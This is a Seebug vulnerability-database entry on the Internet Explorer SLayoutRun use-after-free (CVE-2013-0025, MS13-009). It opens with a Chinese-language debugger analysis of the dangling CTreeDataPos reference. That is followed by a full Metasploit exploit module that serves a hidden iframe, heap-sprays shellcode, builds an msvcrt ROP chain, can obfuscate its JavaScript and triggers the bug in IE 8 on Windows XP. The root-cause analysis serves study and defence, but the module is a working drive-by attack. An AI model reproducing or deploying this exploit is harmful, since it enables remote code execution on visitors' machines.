Lucene search

K
seebugRootSSV:78207
HistoryJul 01, 2014 - 12:00 a.m.

Microsoft Internet Explorer SLayoutRun Use-After-Free (MS13-009)

2014-07-0100:00:00
Root
www.seebug.org
65

当指定的元素设置white-space属性为pre-line时,IE会通过AllocData2Pos函数分配内存,并通过CTreeDataPos来实例化该内存块。
CTreeDataPos将作为CTreePos,其中保存了CTreePos对应元素(white-space属性为pre-line的元素)的CTreeNode地址,同时将其加入DOM树。
当对应的元素的white-space属性为pre-line时,IE将通过ChtmRootParseCtx::AddCollapsedWhitespace函数为该元素分配(AllocData2Pos)内存,并将对应元素的CTreeNode保存在分配的内存块中,同时通过分配的内存块转换为CTreePos,并将其加入DOM树。

CTreeDataPos创建

ChtmRootParseCtx::AddCollapsedWhitespace函数的第一个参数为被处理元素的CTreeNode地址。从上图可以看出,
被处理元素为CParaElement,其地址为60aefd8

dc 60aefd8
060aefd8 635d47c0 00000001 00000008 00000000 .G]c............
060aefe8 00000000 060b0fb0 8000004d 00000200 ........M.......
060aeff8 00000000 06376f30 jQuery214009262732462957501_1448349102149?????? ???????? ....0o7.????????

对应的CTreeNode地址为60b0fb0。

dc 060b0fb0
060b0fb0 060aefd8 06104fb0 ffff024d ffffffff .....O..M.......
060b0fc0 00000071 00000000 0404af88 060b0fd8 q...............
060b0fd0 0404af88 060b0fd8 00000072 00000000 ........r.......
060b0fe0 060b0fc0 00000000 060b0fc0 00000000 ................
060b0ff0 00000008 00000000 00000000 d0d0d0d0 ................



在本次poc中,该流程会进入到如下的分支:
通过CMarkup::NewPointerPos分配空间
将分配的内存块(CTreePos)链接进DOM树。


CTreeDataPos的地址为060b4fd8。
esi指向被分配的空间。下面用pCTreeDataPos表示。
eax为属性为pre-line的CTreeNode。

看上面的汇编语句:
Mov dword ptr[esi+20h],eax
可以看到,CTreeNode的地址保存在pCTreeDataPos偏移为0x20的地方。

当创建了pCTreeDataPos,并且设置了其指向的元素(CTreeNode)后,下面的工作就是通过InsertITreePosInChain将其加入DOM树。由于DOM树是由CTreePos组成的一个splay tree。那么在那个节点加入该元素呢。
ChtmRootParaseCtx的0x70处保存着DOM树上CTreePos的指针,而新创建的节点只需要在该节点之前加入就行。

上面分析的过程可以看出,
CParaElement的CTreeNode地址为060b0fb0,

dc 060b0fb0
060b0fb0 060aefd8 06104fb0 ffff024d ffffffff .....O..M.......
060b0fc0 00000071 00000000 0404af88 060b0fd8 q...............
060b0fd0 0404af88 060b0fd8 00000072 00000000 ........r.......
060b0fe0 060b0fc0 00000000 060b0fc0 00000000 ................
060b0ff0 00000008 00000000 00000000 d0d0d0d0 ................

且CTreeNode的结构为

CTreeNode
    +x10 pBeginCTreePos
    +x28 pEndCTreePos

从调试信息中可以看到:
ChtmRootParaseCtx +x70处的值为060b0fc0,指向的为CParaElement元素CTreeNode的pBeginCTreePos。该节点已经加入DOM树。
InsertITreePosInChain的参数为
CTreePos *pInsertTreePos
CTreePos * pDestTreePos

汇编代码中是用寄存器来传递参数的。
eax表示pInsertTreePos(需要插入的CTreePos)
ecx 表示pDestTreePos(插入点)

pInsertCTreePos(eax)
pAfterCTreePos(edx)
pBeforeCTreePos(ecx)
 
pInsertCTreePos->BeginBefore = pBeforeCTreePos
pInsertCTreePos->BeginAfter = pAfterCTreePos
pInsertCTreePos->EndBefore = pBeforeCTreePos
pInsertCTreePos->EndAfter = pAfterCTreePos
 
pBeforeCTreePos->After = pInsertCTreePos
pBeforeCTreePos->After2 = pInsertCTreePos
 
pAfterCTreePos->Before = pInsertCTreePos
pAfterCTreePos->Before2 = pAfterCTreePos


插入完成后,各个节点的内容如下:

0:008> dc ecx l18/4
060b0fc0 00000071 00000000 0404af88 060b4fd8 q............O..
060b0fd0 0404af88 060b4fd8 .....O..
0:008> dc edx l18/4
060b0fd8 00000072 00000000 060b4fd8 00000000 r........O......
060b0fe8 060b4fd8 00000000 .O......
0:008> dc eax l24/4
060b4fd8 000000f8 00000000 60b0fc0 060b0fd8 ................
060b4fe8 060b0fc0 060b0fd8 00000001 060b6ffa .............o..
060b4ff8 060b0fb1 ....

CTreeNode从DOM树退出
当POC运行到
“document.body.innerHTML = ‘i’”
时,CParaElement将被释放。

首先,CParaElement的CTreeNode将会从DOM树中exit。但是不会被删除,因为其引用计数不为0。

上面可以看到,060aefd8对象将被释放。

当该函数返回时,060aefd8已经被释放。

但是此时CTreeDataPos仍然存在。

其仍然在DOM树中。
虽然CParaElement的CTreeNode已经从DOM树中退出,但是CTreeDataPos却仍然在DOM树中。当下面的过程通过CTreeDataPos得到CParaelement时,导致释放后重用。

在InsertSplice的过程中,会通过DOM树的遍历,找到CParaElement的CTreeDataPos。
下面看看具体的过程。
在CTreePos::GetBranch中,会得到CParaElement的CTreeNode。
先是eax

dc eax
05416fe0 00000698 00000009 060d8fe0 06450fe0 ..............E.
05416ff0 060d8fe0 061bafe0 00000001 00000000 ................

0:008> dc 060d8fe0 l20/4
060d8fe0 000006b8 00000009 06418fd8 05416fe0 ..........A..oA.
060d8ff0 06418fd8 05416fe0 00000001 038ff3dc ..A..oA.........

dc eax l24/4
06418fd8 000006f8 00000009 060b4fd8 060d8fe0 .........O......
06418fe8 060b4fd8 060d8fe0 00000001 05f0aff0 .O..............
06418ff8 00000001

dc eax l24/4
060b4fd8 000006f8 00000009 05f02fd8 06418fd8 ........./....A.
060b4fe8 05f02fd8 06418fd8 00000001 060b6ff8 ./....A......o..
060b4ff8 060b0fb1

在GetBranch中,通过四次遍历,获得CParaElement的CTreeDataPos结构。得到CTreeDataPos后,获取+x20处的值 0x060b0fb1。

0x060b0fb1 and 0xfffffffc后,得到CParaElement的CTreeNode的地址0x060b0fb0。GetBranch返回0x060b0fb0。

由于获得了已经释放元素的CTreeNode节点,在下面的过程中用该节点去访问释放了的元素CParaElement的内存时,导致内存破坏。


                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb


	def initialize(info={})
		super(update_info(info,
			'Name'		  => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
			'Description'	  => %q{
				This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
				where a CParaElement node is released but a reference is still kept
				in CDoc. This memory is reused when a CDoc relayout is performed.
			},
			'License'	  => MSF_LICENSE,
			'Author'	  =>
				[
					'Scott Bell <[email protected]>',  # Vulnerability discovery & Metasploit module
				],
			'References'	  =>
				[
					[ 'CVE', '2013-0025' ],
					[ 'MSB', 'MS13-009' ],
					[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
				],
			'Payload'	  =>
				{
					'BadChars'		=> "\x00",
					'Space'			=> 1024,
					'DisableNops'		=> true,
					'PrependEncoder'	=> "\x81\xc4\x54\xf2\xff\xff",
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'	  => 'win',
			'Targets'	  =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
				],
			'Privileged'	  => false,
			'DisclosureDate'  => "Feb 13 2013",
			'DefaultTarget'   => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		js = %Q|

			var heap_obj = new heapLib.ie(0x20000);
			var code = unescape("#{js_code}");
			var nops = unescape("#{js_nops}");
			while (nops.length < 0x80000) nops += nops;
			var offset = nops.substring(0, #{my_target['Offset']});
			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
			while (shellcode.length < 0x40000) shellcode += shellcode;
			var block = shellcode.substring(0, (0x80000-6)/2);
			heap_obj.gc();
			for (var i=1; i < 0x300; i++) {
				heap_obj.alloc(block);
			}
			var overflow = nops.substring(0, 10);

		|

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate

		end

		return js
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		# ROP chain generated by mona.py - See corelan.be
		case t['Rop']
		when :msvcrt
			print_status("Using msvcrt ROP")
			rop_nops = [0x77c39f92].pack("V") * 11 # RETN
			rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
			rop_payload << rop_nops
			rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
			rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
			rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
			rop_payload << [0x77c39f92].pack("V") # RETN
			rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
			rop_payload << code

		end

		return rop_payload
	end

	def this_resource
		r = get_resource
		return ( r == '/') ? '' : r
	end

	def get_exploit(my_target, cli)
		p  = get_payload(my_target, cli)
		js = heap_spray(my_target, p)


		html = %Q|
		<!doctype html>
		<html>
		<head>
		<script>
		var data
		var objArray = new Array(1800);
		#{js}

		setTimeout(function(){
			for (var i=0;i<objArray.length;i++){
				objArray[i] = document.createElement('body');
				document.body.appendChild(objArray[i])
				objArray[i].style.display = "none"
			}

			document.body.style.whiteSpace = "pre-line"

			for(var i=0;i<10;i++){
				for (var i=0;i<(objArray.length-650);i++){
					objArray[i].className = data += unescape("%u0c0c%u0c0c");
				}
			}

			setTimeout(function(){document.body.innerHTML = "boo"}, 100)
		}, 100)

		</script>
		</head>
		<body>
		<p> </p>
		</body>
		</html>
		|

		return html
	end


	def get_iframe
		html = %Q|
		<html>
		<body>
		<iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
		</body>
		</html>
		|

		return html
	end


	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end


		if uri =~ /#{@iframe_name}/
			html = get_exploit(my_target, cli)
			html = html.gsub(/^\t\t/, '')
			print_status("Sending HTML...")
		elsif	uri=~ /\/$/
			html = get_iframe
			print_status "Sending IFRAME..."
		end
			send_response(cli, html, {'Content-Type'=>'text/html'})


	end

	def exploit
		@iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
		super
	end
end